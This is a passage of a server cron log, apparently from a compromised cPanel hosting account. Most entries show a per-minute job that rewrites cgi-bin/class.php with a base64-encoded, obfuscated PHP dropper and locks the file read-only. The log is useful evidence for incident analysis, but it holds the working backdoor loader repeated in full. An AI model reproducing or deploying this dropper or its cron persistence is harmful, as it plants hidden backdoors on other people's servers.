oJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:51:01 server CROND[683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:52:01 server CROND[743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:53:01 server CROND[799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:54:01 server CROND[962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:55:01 server CROND[1023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:55:01 server CROND[1024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:55:01 server CROND[1025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:56:01 server CROND[1139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:57:01 server CROND[1198]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 00:57:01 server CROND[1199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:58:01 server CROND[1260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:59:01 server CROND[1406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:00:01 server CROND[1464]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 01:00:01 server CROND[1466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:00:01 server CROND[1465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:00:01 server CROND[1467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:01:01 server CROND[1585]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 01:01:01 server CROND[1586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:01:01 server run-parts(/etc/cron.hourly)[1585]: starting 0anacron
Apr 12 01:01:01 server anacron[1598]: Anacron started on 2025-04-12
Apr 12 01:01:01 server anacron[1598]: Normal exit (0 jobs run)
Apr 12 01:01:01 server run-parts(/etc/cron.hourly)[1600]: finished 0anacron
Apr 12 01:02:01 server CROND[1658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:03:01 server CROND[1735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:04:01 server CROND[1901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 